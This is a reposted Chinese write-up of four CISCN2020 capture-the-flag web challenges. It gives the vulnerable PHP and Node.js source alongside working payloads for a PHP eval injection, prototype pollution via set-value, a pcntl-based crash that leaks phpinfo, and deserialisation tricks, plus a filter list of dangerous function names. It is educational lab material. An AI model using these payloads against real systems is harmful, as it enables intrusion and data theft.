CISCN2020初賽 writeup


轉自本人博客

easyphp

<?php
    //題目環境:php:7.4.8-apache
    $pid = pcntl_fork();
    if ($pid == -1) {
        die('could not fork');
    }else if ($pid){
        $r=pcntl_wait($status);
        if(!pcntl_wifexited($status)){
            phpinfo();
        }
    }else{
        highlight_file(__FILE__);
        if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
        }
        posix_kill(posix_getpid(), SIGUSR1);
    }

發現對傳入的b沒有去驗證,可以套娃

a=call_user_func,b=pcntl_wait,這樣在回調過程中會造成子程序異常退出,得到phpinfo(),里面就有flag

RCEME

源碼

<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
    $s=htmlspecialchars($s);
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){
        if(strpos($s,$val) !==false){
            die('很抱歉,執行出錯,發現危險字符【'.$val.'】');
        }
    }
    if(preg_match("/^[a-z]$/i")){
        die('很抱歉,執行出錯,發現危險字符');
    }
    return $s;
}
function parserIfLabel( $content ) {
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if ( preg_match_all( $pattern, $content, $matches ) ) {
        $count = count( $matches[ 0 ] );
        for ( $i = 0; $i < $count; $i++ ) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[ 1 ][ $i ];
            $ifstr=danger_key($ifstr,1);
            if(strpos($ifstr,'=') !== false){
                $arr= splits($ifstr,'=');
                if($arr[0]=='' || $arr[1]==''){
                    die('很抱歉,模板中有錯誤的判斷,請修正【'.$ifstr.'】');
                }
                $ifstr = str_replace( '=', '==', $ifstr );
            }
            $ifstr = str_replace( '<>', '!=', $ifstr );
            $ifstr = str_replace( 'or', '||', $ifstr );
            $ifstr = str_replace( 'and', '&&', $ifstr );
            $ifstr = str_replace( 'mod', '%', $ifstr );
            $ifstr = str_replace( 'not', '!', $ifstr );
            if ( preg_match( '/\{|}/', $ifstr)) {
                die('很抱歉,模板中有錯誤的判斷,請修正'.$ifstr);
            }else{
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
            }

            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
                switch ( $flag ) {
                    case 'if':
                        if ( isset( $matches2[ 1 ] ) ) {
                            $out_html .= $matches2[ 1 ];
                        }
                        break;
                    case 'else':
                        if ( isset( $matches2[ 2 ] ) ) {
                            $out_html .= $matches2[ 2 ];
                        }
                        break;
                }
            } elseif ( $flag == 'if' ) {
                $out_html .= $matches[ 2 ][ $i ];
            }
            $pattern2 = '/\{if([0-9]):/';
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
                $out_html = $this->parserIfLabel( $out_html );
            }
            $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
        }
    }
    return $content;
}
function splits( $s, $str=',' ) {
    if ( empty( $s ) ) return array( '' );
    if ( strpos( $s, $str ) !== false ) {
        return explode( $str, $s );
    } else {
        return array( $s );
    }
}

發現命令執行點

@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

$ifstr為php代碼是可以執行的,回去看發現$ifstr

function parserIfLabel( $content ) {
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if ( preg_match_all( $pattern, $content, $matches ) ) {
        // $content和$pattern比較,匹配到的為$matches
        $count = count( $matches[ 0 ] );
        for ( $i = 0; $i < $count; $i++ ) {
        // 遍歷
            $flag = '';
            $out_html = '';
            $ifstr = $matches[ 1 ][ $i ];
        // 把$matches[ 1 ][ $i ]賦值給$ifstr
            $ifstr=danger_key($ifstr,1);

得到的$ifstr需要經過danger_key過濾,如果匹配到相關字符串就會用*代替,替換后還有相關字符串就直接die結束

在遍歷過程中會把$matches[ 1 ][ $i ]賦值給ifstr,我們看一下傳入{if:'phpinfo();'}phpinfo();{end if}$matches內容

img

如果沒有過濾,傳入之后就是

@eval( if(phpinfo();){$flag="if";}else{$flag="else";});

就可以執行了,但是這里danger_key過濾了好多字符串,嘗試把被替換的*替換為空,發現替換函數的部分字符已經被禁了,最后發現如果傳入

{if:1)echo `whoami`;//}phpinfo();{end if}

最后eval里面的是

if(1)echo `whoami`;//){$flag="if";}else{$flag="else";}

會執行whoami,然后echo出來,所以最終payload為

{if:1)echo `cat /flag`;//}phpinfo();{end if}

LittleGame

JS原型鏈攻擊

首先看到在POST/DeveloperControlPanel下,只要Admin[key] === password,我們就可以獲得flag

router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }

});

在POST/Privilege下,如果req.session.knight沒有被定義,就重定向到/SpawnPoint,否則查看req.body.NewAttributeKeyreq.body.NewAttributeValue是否被定義,未定義就直接"What's your problem?"了,如果都有定義就調用setFn(),將轉為字符串后的req.body.NewAttributeKeyreq.body.NewAttributeValue傳入

router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});

在一開始就定義了setFn

const setFn = require('set-value');

跟進一下

// setFn(req.session.knight, key, value);調用
// set-value的set函數如下

function set(target, path, value, options) {
  if (!isObject(target)) {
    return target;
  }

  let opts = options || {};
  const isArray = Array.isArray(path);
  if (!isArray && typeof path !== 'string') {
    return target;
  }

  let merge = opts.merge;
  if (merge && typeof merge !== 'function') {
    merge = Object.assign;
  }

  const keys = isArray ? path : split(path, opts);
  const len = keys.length;
  const orig = target;

  // 需要注意這一個條件語句  
  if (!options && keys.length === 1) {
    result(target, keys[0], value, merge);
    return target;
  }

  for (let i = 0; i < len; i++) {
    let prop = keys[i];

    if (!isObject(target[prop])) {
      target[prop] = {};
    }

    if (i === len - 1) {
      result(target, prop, value, merge);
      break;
    }

    target = target[prop];
  }

  return orig;
}

跟進一下result()

function result(target, path, value, merge) {
  if (merge && isPlain(target[path]) && isPlain(value)) {
    target[path] = merge({}, target[path], value);
    // 注意這一句,使用了merge(),實現了倆對象合並,其存在賦值操作,考慮原型鏈污染  
  } else {
    target[path] = value;
  }
}

再來梳理一下

	let key = req.body.NewAttributeKey.toString();
	let value = req.body.NewAttributeValue.toString();
* setFn(req.session.knight, key, value)
* 	set(target, path, value, options)
*		result(target, path, value, merge)
*			merge({}, target[path], value)

也就是說,如果我們傳入NewAttributeKeyNewAttributeValue,他最終會進行merge()操作,req的原型是Object,而Admin的原型也是Object,修改req的原型,即可實現原型鏈污染

所以我們可以通過POSTNewAttributeKeyNewAttributeValue/Privilege

{"NewAttributeKey":"__proto__.password","NewAttributeValue":"123"}

然后POST我們剛才設置的密碼給/DeveloperControlPanel,即可得到flag

{"key":"password","password":"123"}

img

注意這里的Content-Type得設置成application/json

easytrick

<?php
class trick{
    public $trick1;
    public $trick2;
    public function __destruct(){
        $this->trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太長了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

img

<?php
class trick{
    public $trick1;
    public $trick2;
}
$a = new trick();
$a->trick1 = 0.1;
$a->trick2 = 0.1000000000001;
echo serialize($a);
// O:5:"trick":2:{s:6:"trick1";d:0.1;s:6:"trick2";d:0.1000000000001;}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM